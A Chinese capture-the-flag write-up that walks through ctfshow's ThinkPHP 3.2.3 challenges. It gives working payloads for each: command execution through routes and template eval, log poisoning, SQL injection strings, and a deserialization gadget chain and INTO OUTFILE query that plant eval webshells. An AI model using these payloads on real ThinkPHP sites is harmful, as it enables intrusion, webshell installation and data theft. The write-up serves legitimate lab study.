跟着师傅们的wp和thinkphp3.2.3官方手册开始受苦之旅。
web569
/index.php/admin/login/ctfshowlogin
web570
在Common/Conf/config.php
中有call_user_func
<?php
return array(
.
.
.
'URL_ROUTER_ON' => true,
'URL_ROUTE_RULES' => array(
'ctfshow/:f/:a' =>function($f,$a){
call_user_func($f, $a);
}
)
);
尝试/index.php/ctfshow/system/ls
发现可以,但不能出现/
,所以换种方式
/index.php/ctfshow/assert/assert($_POST[1])
web571
Application\Home\Controller\IndexController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($n=''){
$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>CTFshow</h1><p>thinkphp 专项训练</p><p>hello,'.$n.'黑客建立了控制器后门,你能找到吗</p>','utf-8');
}
}
自己下个tp3.2.3调试一下
题目的TMPL_ENGINE_TYPE
为php
(这我不知道是怎么判断出来的),所以会进入这个if语句,执行eval('?>' . $_content)
,而$_content
包含了我们传入的值,因此可以命令执行
?n=<?php system('cat /flag_is_here');?>
web572
爆破日志文件/Application/Runtime/Logs/Home/21_04_15.log
/index.php?showctf=<?php%20system(%27cat%20/flag_is_here%27);?>
web573
正常传?id=xxx
的话,会进入_parseType()
,在这里面如果id列为int,则直接intval,varchar则转义单引号,因此无法注入
而传入的是数组的话不会进入_parseType()
,会进入think_filter
函数
function think_filter(&$value){
// TODO 其他安全过滤
// 过滤查询特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
$value .= ' ';
}
}
最终直接拼接到sql语句,造成注入
?id[where]=id=0 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()%23
?id[where]=id=0 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='flags'%23
?id[where]=id=0 union select 1,group_concat(flag4s),3,4 from flags%23
web574
where后面加了个括号 where(id=1)这样
因此手动闭合就好
?id=0)union select 1,group_concat(flag4s),3,4 from flags%23
或者直接报错注入
?id=1 and updatexml(1,concat(0x7e,(select group_concat(flag4s) from flags),0x7e),1)
web575
$user= unserialize(base64_decode(cookie('user')));
if(!$user || $user->id!==$id){
$user = M('Users');
$user->find(intval($id));
cookie('user',base64_encode(serialize($user->data())));
}
$this->show($user->username);
}
根据web571,知道show()可以执行php代码,所以解法1就是不进这个if
<?php
namespace Home\Controller;
class IndexController
{
public $id = '1';
public $username = "<?php system('cat /f*');?>";
}
echo base64_encode(serialize(new IndexController()));
解法2是thiniphp3.2.3的反序列化
ctfshow ThinkPHP篇575
跟着审了一遍,感觉迷迷糊糊的,可能状态不是很好,poc看不太懂
<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img=new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache {
protected $handle;
public function __construct(){
$this->handle=new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model {
protected $data = array();
protected $db = null;
protected $pk;
public function __construct(){
$this->db=new Mysql();
$this->pk='id';
$this->data[$this->pk] = array(
"table" => 'mysql.user;select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"# ',
"where" => "1"
);
}
}
}
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true, // 开启才能读取文件
PDO::MYSQL_ATTR_MULTI_STATEMENTS => true //开启堆叠,发现不加这句话也可以
);
protected $config = array(
"debug" => 1,
'hostname' => '127.0.0.1', // 服务器地址
'database' => 'ctfshow', // 数据库名
'username' => 'root', // 用户名
'password' => 'root', // 密码
'hostport' => '3306'
);
}
}
namespace{
use Think\Image\Driver\Imagick;
echo base64_encode(serialize(new Imagick()));
}
这个漏洞还能配合MySQL恶意服务端读取客户端文件漏洞,不过我看不懂
web576
$user = M('Users')->comment($id)->find(intval($id));
最终拼接在注释中
因此可以构造?id=*/select xxx%23
闭合注释
但不能联合查询,因为union在limit后面的话,需要union的前后都套上括号,这里显然不行
这里需要into outfile写马
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]
SELECT ... INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
[export_options]
export_options:
[{FIELDS | COLUMNS}
[TERMINATED BY 'string']//分隔符
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']
]
[LINES
[STARTING BY 'string']
[TERMINATED BY 'string']
]
“OPTION”参数为可选参数选项,其可能的取值有:
`FIELDS TERMINATED BY '字符串'`:设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。
`FIELDS ENCLOSED BY '字符'`:设置字符来括住字段的值,只能为单个字符。默认情况下不使用任何符号。
`FIELDS OPTIONALLY ENCLOSED BY '字符'`:设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。
`FIELDS ESCAPED BY '字符'`:设置转义字符,只能为单个字符。默认值为“\”。
`LINES STARTING BY '字符串'`:设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。
`LINES TERMINATED BY '字符串'`:设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。
信息搜集能力很重要,我都不知道这些是怎么搜到,我就没搜到,直接搬了wp中的
?id=1*/into outfile "/var/www/html/2.php" LINES STARTING BY '<?php eval($_POST[0]);?>'%23
web577
$map=array(
'id'=>$_GET['id']
);
$user = M('Users')->where($map)->find();
依旧是之前的tp3sql注入漏洞
?id[0]=exp&id[1]==-1 union select 1,flag4s,3,4 from flags